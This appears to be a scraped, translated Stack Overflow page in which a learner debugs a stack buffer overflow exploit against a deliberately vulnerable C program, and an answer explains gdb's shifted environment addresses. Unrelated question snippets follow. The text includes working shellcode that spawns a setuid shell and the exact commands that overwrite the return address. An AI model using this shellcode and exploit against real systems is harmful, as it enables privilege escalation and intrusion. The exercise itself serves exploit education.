- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我目前正在尝试理解为什么我的一种利用程序中缓冲区溢出的方法不起作用。我尝试了两种解决方案,第一个有效,但第二个无效。而第一个方法只是在返回地址指向的地方添加一堆 NOP。该程序不包含任何堆栈保护机制。我正在 x86 debian 机器(ASLR 关闭)、内核 2.6.32-5-686 上工作,具有以下易受攻击的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln(char *arg)
{
char msg[12];
strcpy(msg,arg);
}
int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Usage : prog arg\n");
exit(1);
}
vuln(argv[1]);
return 0;
}
EGG 将包含 100x NOP 和我的 shellcode
export EGG=`python2.6 -c 'print "\x90"*100 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
在 gdb 中使用“x/200s $esp”在 0xbffffe10 处找到 EGG 环境变量
利用该程序:
./a.out `python2.6 -c 'print "\x90"*24 + "\x50\xfe\xff\xbf"'`
我在 EGG 地址中添加了 0x40,让 EIP 指向 NOP 堆。
export EGG=`python2.6 -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
在 gdb 中使用“x/200s $esp”在 0xbffffe75 处找到 EGG 环境变量
利用该程序:
./a.out `python2.6 -c 'print "\x90"*24 + "\x79\xfe\xff\xbf"'`
我在 EGG 变量中添加了 0x4 以忽略以“EGG=”开头的地址
这里 shell 生成到 gdb 中,但我没有像我想要的那样 suid,并且在 gdb 之外,程序只是出现段错误...使用 gdb 时:
r `python2.6 -c 'print "\x90"*24 + "AABC"'`
我得到了我应该得到的:
Cannot access memory at address 0x43424141
0x43424141 in ?? ()
所以我实际上是在删除正确的返回地址......我做错了什么?为什么 gdb 生成一个 shell,而调试器之外没有任何东西在工作?
最佳答案
gdb
提供的环境与从 shell 启动时不同。您需要调整您的地址:
例如(ASLR 关闭):
$ cat test.c
#include <stdio.h>
int main()
{
int *i;
printf("stack var at: %p\n", i);
printf("env var at: %p\n", (void *)getenv("PATH"));
}
给予:
$./test
stack var at: 0xb7fc7ff4
env var at: 0xbffffebd
$ gdb test
Reading symbols from /home/user/test...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/test
stack var at: 0xb7fc7ff4
env var at: 0xbffffe91
例如,比较 gdb
中 showenvironment
和 shell 中 printenv
的结果
关于linux - 缓冲区溢出误解,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18034872/
所以我实际上正在阅读有关用于删除对象属性的“delete”方法的文档,并且我偶然发现了这个“此外,您不能删除使用 var 关键字声明的全局对象的属性。” 所以我真正理解的是:假设你创建了一个数组: v
我目前正在学习 Javascript,我想知道为什么下面的代码会执行“console.log('why')”。我认为“变量”(var、let、const)仅存储信息,不能自行执行。我不希望以下内容实际
在许多博客和引用文献中,我读到了有关冲洗刷新记录的信息,其中有很多信息会引起头痛和一些误解: 是否为复制的碎片保留了事务日志?为什么? 如果GET /_cat/allocation包含转记录? 超过磁
我有下一个循环: rolling_average_delta_follower=[]; followers=[32,34,36,38,40,42,44,46,48,50,52,54,5
我遇到了多处理问题;我在 linux 2.6.36 上使用 python2.7。我知道使用更高级别的模块或库会容易得多,但我正在尝试使用较低级别的函数(os.fork() 和 os.exec*)以确保
有人可以向我解释一下,为什么这段代码不起作用。我正在浏览周围的一些问题,但找不到答案。可能是因为(大量)缺乏知识。 感谢您提供的任何帮助。 char** sentence = malloc(min);
我的目标是我想用一些 java 代码登录到一个站点,并在登录后做一些工作。(为了编写一些 java cooking 处理,我首先需要了解这一切实际上是如何工作的)问题是我不太清楚如何管理 cookie
给定以下非常简单的结构: struct A { int a; double b; }; (使用 Mac OS 10.9 - Xcode) 结构的大小是 16。我不明白为什么。为什么不是
我刚刚下载了基于 ASP.NET 5 的 music store (microsoft sample projct) 源代码。我不明白为什么 Microsoft 的开发人员在 Controller 中
Closed. This question is not reproducible or was caused by typos。它当前不接受答案。 想改善这个问题吗?更新问题,以便将其作为on-to
我正在阅读 this doc并看到以下片段: The := syntax is shorthand for declaring and initializing a variable, e.g. fo
我在理解描述的 MixColumns 步骤时遇到问题 here . 我知道扩散,这一切都是有道理的,因为它指出每列都被视为多项式并乘以 GF(2^8) 的模。 但是..乘以GF(2 ^ 8)。尽管域仍
我尝试自定义HTML文件输入并编写了最简单的jquery API函数: (function($) { $.fn.selectFileInputGUI = function() {
我对 SSL/TLS 有一个根本性的误解,希望能得到澄清。 按照我的理解,当我获得网站证书时,它包含我的所有信息,并由我的证书颁发机构(VeriSign 或其他任何人)签名。当有人从我的网站请求使用
我们在代码中有一个 NamedTuple,如下所示: from typing import NamedTuple class StandardParameters(NamedTuple): o
我有一个问题,我需要你的帮助: 我正在制作一个 Web 应用程序来访问我需要在类似( ListView 或 DataList )这样的工具中显示他们的员工列表,以直接绑定(bind)数据库中的数据,并
我知道根是: 静态字段 方法参数 本地领域 f-queue 也包含一个指向“将要完成的”对象的指针 cpu 寄存器 <=??? 现在让我们谈谈寄存器。 它们可以包含的代码如下: mov bx, 003
官方例子Timer组件使用this.interval var Timer = React.createClass({ getInitialState: function() { retur
使用 PostGIS 我有两个表,第一个包含 250 个城市的边界,第二个包含世界上所有国家/地区的边界。 我试图影响每个城市所属的国家/地区。下面的查询可以让我得到我想要的结果。 SELECT DI
我正在准备数据库和 SQL 考试,并且正在解决一个练习: 我们有一个包含 4 个表的数据库,代表一家人力资源公司。这些表格是: applicant(a-id,a-name,a-city,years-
我是一名优秀的程序员,十分优秀!